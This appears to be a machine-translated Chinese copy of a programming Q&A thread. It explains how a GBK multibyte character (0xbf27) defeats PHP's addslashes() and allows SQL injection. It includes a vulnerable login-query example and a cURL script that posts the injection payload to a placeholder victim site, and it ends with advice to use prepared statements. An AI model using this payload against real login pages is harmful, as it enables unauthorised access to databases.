通过addslashes()SQL注入的例子?

在PHP中,我知道mysql_real_escape比使用addslashes更安全。 但是,我无法find一个情况的例子,其中addslashes会让SQL注入发生。

任何人都可以举个例子吗?

那么, 这是你想要的文章 。

基本上,攻击的方式是通过用addslashes()在多字节字符的中间放置一个反斜线,使得反斜杠作为有效多字节序列的一部分而失去意义。

从文章的一般警告:

这种types的攻击是可能的任何字符编码,其中有一个有效的多字节字符结尾在0x5c ,因为addslashes()可以欺骗创build一个有效的多字节字符,而不是转义后面的单引号。 UTF-8不适合这个描述。

Chris Shiflett用下面的例子清楚地说明了这一点,如果你在你的数据库中使用GBK编码的时候这样做的话,那当然是可以的。 即使我尝试了这一点,这certificate,即使SQL注入的可能性很小,但仍有机会进行SQL注入,但具有良好知识和能力的人可以轻松注入。 这是一个例子…

 <?php $mysql = array(); $db = mysqli_init(); $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); /* SQL Injection Example */ $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; $_POST['password'] = 'guess'; $mysql['username'] = addslashes($_POST['username']); $mysql['password'] = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '{$mysql['username']}' AND password = '{$mysql['password']}'"; $result = $db->query($sql); if ($result->num_rows) { /* Success */ } else { /* Failure */ } ?> 

尽pipe使用addslashes()或magic_quotes_gpc通常会被认为是有点安全的,但是使用GBK会使它们几乎无用。 下面的PHP cURL脚本将能够使用注入,我希望这会帮助你多一点理解:

 <?php $url = "http://www.victimsite.com/login.php"; $ref = "http://www.victimsite.com/index.php"; $session = "PHPSESSID=abcdef01234567890abcdef01"; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_REFERER, $ref ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $ch, CURLOPT_COOKIE, $session ); curl_setopt( $ch, CURLOPT_POST, TRUE ); curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print( $data ); curl_close( $ch ); ?> 

作为这里答案的读者的补充:这个MySQL错误已经被修复:)

另外,使用准备好的语句总是很好的做法。 这是可以触发查询的最有利的方式(在几个用例中是最高性能的)。 而这会让你免于这个缺陷。

mysql_real_escape_string()与Prepared Statements清楚地解释了mysql_real_escape_string()不是100%安全的

使用mysql_set_charset('GBK')replacemysql_query(“SET CHARACTER SET'GBK'”) ,mysql_real_escape_string()可以100%安全。